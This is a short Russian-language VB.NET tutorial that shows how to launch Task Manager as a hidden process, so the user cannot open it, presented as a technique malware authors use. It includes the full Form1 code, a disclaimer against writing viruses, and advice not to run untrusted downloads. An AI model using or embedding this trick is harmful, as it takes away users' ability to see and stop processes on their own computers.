VB.net - Скрываем диспетчер задач
![](/vb_all/2015-11-19_11-21-36_skrinshot_ehkrana.png)
Разработчики вредоносного ПО очень часто отключают систему безобастности ОС. Один из самых важных элементов - Диспетчер задач.
Как вариант, его можно отключить в реестре, но это легко обойти. Данный же код делает все намного интересней.
Код программы:
Public Class Form1
'делаем диспечер задач невидимым
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
'создаем новый процесс
Dim p As New Process()
'задаем рабочую папку
p.StartInfo.WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.System)
'находим программу по имени
p.StartInfo.FileName = "taskmgr.exe"
'определяем параметры запуска проги без окна
p.StartInfo.CreateNoWindow = True
'процесс делаем скрытым
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
'запускаем
p.Start()
'фокус на нашу прогу
Me.Focus()
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
'выход из проги
Close()
End Sub
End Class
Данный пример показывает уязвимость Windows, что в очередной раз доказывает утверждение:
НЕ ЗАПУСКАЙТЕ ВСЕ ПОДРЯД
(особенно скаченное в стремных местах)
Я ни в коем случае, не поддерживаю вирусописак.
И данный пример, возможно, поможет избежать множество проблем, в том числе и СМС вымогательств.
ПСы: после перезапуска системы все снова работает.
Смотреть видео
END
|